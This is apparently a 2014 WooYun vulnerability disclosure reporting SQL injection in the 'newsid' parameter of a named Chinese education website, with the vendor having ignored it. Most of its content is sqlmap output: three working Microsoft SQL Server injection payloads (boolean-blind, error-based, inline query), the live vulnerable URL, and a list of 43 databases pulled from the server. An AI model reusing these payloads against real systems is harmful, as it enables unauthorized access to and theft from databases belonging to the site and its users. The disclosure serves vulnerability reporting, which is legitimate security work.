教育人生网高危注射漏洞 | wooyun-2014-087352

漏洞概要关注数(24) 关注此漏洞

缺陷编号：

wooyun-2014-087352

漏洞标题：

教育人生网高危注射漏洞

漏洞详情

披露状态：

2014-12-16：积极联系厂商并且等待厂商认领中，细节不对外公开
2015-01-30：厂商已经主动忽略漏洞，细节向公众公开

简要描述：

注射

详细说明：

GET parameter 'newsid' is vulnerable. Do you want to keep testing the others (if
 any)? [y/N] y
sqlmap identified the following injection points with a total of 40 HTTP(s) requ
ests:
---
Place: GET
Parameter: newsid
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: newsid=136985 AND 9820=9820
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: newsid=136985 AND 3075=CONVERT(INT,(CHAR(58) CHAR(122) CHAR(106) CH
AR(102) CHAR(58) (SELECT (CASE WHEN (3075=3075) THEN CHAR(49) ELSE CHAR(48) END)
) CHAR(58) CHAR(108) CHAR(111) CHAR(119) CHAR(58)))
    Type: inline query
    Title: Microsoft SQL Server/Sybase inline queries
    Payload: newsid=(SELECT CHAR(58) CHAR(122) CHAR(106) CHAR(102) CHAR(58) (SEL
ECT (CASE WHEN (3079=3079) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(108)
CHAR(111) CHAR(119) CHAR(58))
---

漏洞证明：

available databases [43]:
[*] 400Tel
[*] dbAuhs
[*] dbFeiFan
[*] dbfile
[*] dbFuYuan
[*] dbFuYuan2
[*] dbJianZhang
[*] DBslzx
[*] DbUnion
[*] dhucj
[*] dnt31
[*] donghua
[*] donghua2
[*] edubao
[*] eduBM
[*] eduKepu
[*] edulifebbs
[*] edulifeOA
[*] eduonline
[*] fuyuan
[*] gApple
[*] hesheng
[*] information
[*] kepu
[*] master
[*] Member
[*] mobileSchool
[*] model
[*] msdb
[*] newedulife
[*] newedulife2
[*] PilotWeb
[*] SEMS
[*] shangwai
[*] shangwaiqingshaonian
[*] shonline
[*] t
[*] tempdb
[*] test
[*] tongjite
[*] URTracker
[*] xinchangedu
[*] xinchangedu_tz

http://www.edulife.com.cn/vipschool/finance365/news.aspx?newsid=136985

WooYun.org

漏洞概要关注数(24) 关注此漏洞

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源 0x 80@乌云

漏洞回应

厂商回应：

WooYun.org

漏洞概要 关注数(24) 关注此漏洞

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源 0x 80@乌云

漏洞回应

厂商回应：

漏洞概要关注数(24) 关注此漏洞